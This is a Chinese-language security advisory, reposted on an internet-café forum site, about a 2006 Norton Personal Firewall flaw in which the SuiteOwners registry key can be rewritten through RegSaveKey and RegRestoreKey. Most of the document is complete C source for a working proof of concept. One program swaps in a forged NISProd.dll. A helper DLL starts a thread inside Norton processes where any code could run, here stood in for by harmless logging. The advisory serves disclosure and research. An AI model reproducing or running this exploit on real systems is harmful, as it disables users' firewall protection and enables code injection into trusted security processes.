天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

Symantec Norton个人防火墙SuiteOwners注册表项安全绕过漏洞

2008-2-18绿盟科技佚名

受影响系统:
Symantec Norton Personal Firewall 2006 9.1.0.33
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 19585

Symantec Norton个人防火墙是非常流行的防火墙软件。

Norton在处理注册表项访问权限时存在漏洞,本地攻击者可能利用此漏洞绕过安全检查。

Norton使用自己的注册表项防范其他应用程序的操作,但可使用API函数RegSaveKey和RegRestoreKey绕过注册表项 HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners 的防护。这个注册表项还可用于存储一些重要的信息,如NISProd.dll。恶意的应用程序可以使用RegSaveKey和RegRestoreKey修改SuiteOwners中的值,导致Norton将伪造的函数库加载到进程。伪造函数库中的恶意代码可以操控任意Norton组件,绕过所有的安全防护。

<*来源:David Matousek (david@matousec.com)
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115591911906003&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

Testing program for Norton DLL faking via "SuiteOwners" protection bypass (BTP00010P002NF)

Usage:
prog
   (the program is executed without special arguments)

Description:
This program uses standard Windows API RegSaveKey and RegRestoreKey to modify registry value
in registry key "HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners". This cause Norton to load modified version
of "NISProd.dll" instead of original one to its own processes. Modification of this library is done in the way
it loads another library "testdll.dll". During its initialization it creates extra thread that can execute
a malicious code. In this demostration the malicious code is simulated by a harmless code that logs messages
to a file.

Test:
Running the testing program and opening Norton Personal Firewall control panel.

*/

#include <stdio.h>
#include <windows.h>

void about(void)
{
  printf("Testing program for Testing program for Norton DLL faking via \"SuiteOwners\" protection bypass (BTP00010P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
         "  (the program is executed without special arguments)\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %d\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %d.\n",code);
  return;
}


/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/

int enable_privilege(char *priv_name)
{
  DWORD res=0;
  HANDLE tok;
  LUID luid;
  TOKEN_PRIVILEGES privs;

  if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
  if (LookupPrivilegeValue(NULL,priv_name,&luid))
  {
    privs.PrivilegeCount=1;
    privs.Privileges[0].Luid=luid;
    privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    DWORD ret_len;
    res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
    CloseHandle(tok);
  }
  return res;
}


/*
enable_backup_privilege adds backup privilege to own token
returns TRUE if succeed
*/

int enable_backup_privilege(void)
{
  return enable_privilege(SE_BACKUP_NAME);
}


/*
enable_restore_privilege adds restore privilege to own token
returns TRUE if succeed
*/

int enable_restore_privilege(void)
{
  return enable_privilege(SE_RESTORE_NAME);
}


#define REGKEY "SOFTWARE\\Symantec\\CCPD\\SuiteOwners"

int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
    usage();
    return 1;
  }

  enable_backup_privilege();
  enable_restore_privilege();

  char curdir[MAX_PATH],sysdir[MAX_PATH],testdll[MAX_PATH],testdll_new[MAX_PATH],
       np_fake[MAX_PATH],np_fake_new[MAX_PATH],owner[MAX_PATH],savsys[MAX_PATH];
  GetSystemDirectory(sysdir,MAX_PATH);
  GetCurrentDirectory(MAX_PATH,curdir);
  int curdirlen=strlen(curdir)-1;
  if (curdir[curdirlen]=='\\') curdir[curdirlen]=0;
  snprintf(testdll,MAX_PATH,"%s\\testdll.dll",curdir);
  snprintf(testdll_new,MAX_PATH,"%s\\testdll.dll",sysdir);
  snprintf(np_fake,MAX_PATH,"%s\\NISProd_fake.dll",curdir);
  snprintf(np_fake_new,MAX_PATH,"%s\\NISProd_fake.dll",sysdir);
  snprintf(owner,MAX_PATH,"%s\\",sysdir);
  snprintf(savsys,MAX_PATH,"%s\\bug.regsav",sysdir);

  if (!CopyFile(testdll,testdll_new,FALSE))
  {
    fprintf(stderr,"Unable to copy file \"%s\" to \"%s\".\n",testdll,testdll_new);
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  printf("File \"%s\" copied to \"%s\".\n",testdll,testdll_new);

  if (!CopyFile(np_fake,np_fake_new,FALSE))
  {
    fprintf(stderr,"Unable to copy file \"%s\" to \"%s\".\n",np_fake,np_fake_new);
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  printf("File \"%s\" copied to \"%s\".\n",np_fake,np_fake_new);


  HKEY key;
  int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,KEY_READ,&key);
  if (ret==ERROR_SUCCESS)
  {
    ret=RegSaveKey(key,"bug.regsav",NULL);
    RegCloseKey(key);
    if (CopyFile("bug.regsav",savsys,FALSE)) printf("File \"bug.regsav\" copied to \"%s\".\n",savsys);
    if (ret==ERROR_SUCCESS)
    {
      printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" saved to \"bug.regsav\".\n");
      HKEY keyr;
      ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF",0,
                     NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&keyr,NULL);
      if (ret==ERROR_SUCCESS)
      {
        ret=RegRestoreKey(keyr,"bug.regsav",0);
        RegCloseKey(keyr);
        if (ret==ERROR_SUCCESS)
        {
          printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\" restored from \"bug.regsav\".\n");
          HKEY hkey;
          ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}",
                             0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,NULL);
          if (ret==ERROR_SUCCESS)
          {
            ret=RegSetValueEx(hkey,"BRDLLName",0,REG_SZ,"NISProd_fake.dll",17);
            int ret2=RegSetValueEx(hkey,"OwnerDirectory",0,REG_SZ,owner,strlen(owner)+1);
            RegCloseKey(hkey);
            if ((ret==ERROR_SUCCESS) && (ret2==ERROR_SUCCESS))
            {
              printf("Registry values \"BRDLLName\" and \"OwnerDirectory\" were modified in \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
              HKEY skey;
              ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF",0,KEY_READ,&skey);
              if (ret==ERROR_SUCCESS)
              {
                ret=RegSaveKey(skey,"bug.regsav2",NULL);
                if (ret==ERROR_SUCCESS)
                {
                  printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" saved to \"bug.regsav2\".\n");

                  RegCloseKey(skey);
                  HKEY rkey;
                  ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,
                                     NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&rkey,NULL);
                  if (ret==ERROR_SUCCESS)
                  {
                    ret=RegRestoreKey(rkey,"bug.regsav2",0);
                    if (ret==ERROR_SUCCESS) printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" restored from \"bug.regsav2\".\n");
                    else fprintf(stderr,"Unable to restore registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" from file \"bug.regsav2\".\n");
                    RegCloseKey(rkey);
                  } else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
                  DeleteFile("bug.regsav2");
                } else fprintf(stderr,"Unable to save registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\" to file \"bug.regsav2\".\n");
              } else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
            } else fprintf(stderr,"Unable to modify registry value in key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
          } else fprintf(stderr,"Unable to open registry key \"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
        } else fprintf(stderr,"Unable to restore \"bug.regsav\" to registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
      } else
      {
        RegCloseKey(keyr);
        fprintf(stderr,"Unable to create registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
      }
      DeleteFile("bug.regsav");
    } else fprintf(stderr,"Unable to save registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" to file \"bug.regsav\".\n");
  } else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\".\n");

 


  if (ret!=ERROR_SUCCESS)
  {
    SetLastError(ret);
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  printf("\nTEST SUCCESSFUL!\n");
  return 0;
}

-------------------------------------------------------------------------------

/*

Helper DLL for Norton DLL faking via "SuiteOwners" protection bypass (BTP00010P002NF)

Description:
This DLL creates a new thread that can be used for executing malicious code. The malicious code is simulated
by a harmless code that logs messages to a file. It also restore original registry keys in "HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners".

*/

#include <stdio.h>
#include <windows.h>

HANDLE thread=NULL;
char msg[1024];

void logmsg();

/*
logmsg logs messages to C:\BTP00010P002NF.log
*/

void logmsg(void)
{
  HANDLE log=CreateFile("C:\\BTP00010P002NF.log",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  if (log!=INVALID_HANDLE_VALUE)
  {
    SetFilePointer(log,0,NULL,FILE_END);
    DWORD bytes;
    WriteFile(log,msg,strlen(msg),&bytes,NULL);
    CloseHandle(log);
  }
  return;
}


/*
thread routine that can execute malicious code with the privileges of vsmon.exe
*/

DWORD WINAPI thread_proc(HMODULE module)
{
  while (1)
  {
    snprintf(msg,1024,"Any code can be executed now in process PID=%d, using module at 0x%p.\n",
             GetCurrentProcessId(),module);
    logmsg();
    Sleep(10000);
  }

  return 0;
}


/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/

int enable_privilege(char *priv_name)
{
  DWORD res=0;
  HANDLE tok;
  LUID luid;
  TOKEN_PRIVILEGES privs;

  if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
  if (LookupPrivilegeValue(NULL,priv_name,&luid))
  {
    privs.PrivilegeCount=1;
    privs.Privileges[0].Luid=luid;
    privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    DWORD ret_len;
    res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
    CloseHandle(tok);
  }
  return res;
}


/*
enable_restore_privilege adds restore privilege to own token
returns TRUE if succeed
*/

int enable_restore_privilege(void)
{
  return enable_privilege(SE_RESTORE_NAME);
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
  if (fdwReason==DLL_PROCESS_ATTACH)
  {
    DisableThreadLibraryCalls(hinstDLL);

    snprintf(msg,1024,"DLL_PROCESS_ATTACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
    logmsg();
    thread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc,hinstDLL,0,NULL);

    enable_restore_privilege();
    char savsys[MAX_PATH],sysdir[MAX_PATH];
    GetSystemDirectory(sysdir,MAX_PATH);
    snprintf(savsys,MAX_PATH,"%s\\bug.regsav",sysdir);

    HKEY rkey;
    int ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,
                       NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&rkey,NULL);
    if (ret==ERROR_SUCCESS)
    {
      RegRestoreKey(rkey,savsys,0);
      RegCloseKey(rkey);
    }
    DeleteFile(savsys);
  }

  if ((fdwReason==DLL_PROCESS_DETACH) && thread)
  {
    snprintf(msg,1024,"DLL_PROCESS_DETACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
    logmsg();
    TerminateThread(thread,0);
    CloseHandle(thread);
  }

  return TRUE;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.symantec.com/sabu/nis/npf/

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理,安装维护:


本文来源:绿盟科技 作者:佚名

声明
本文来源地址:0
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系Email:support@txwb.com.,本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行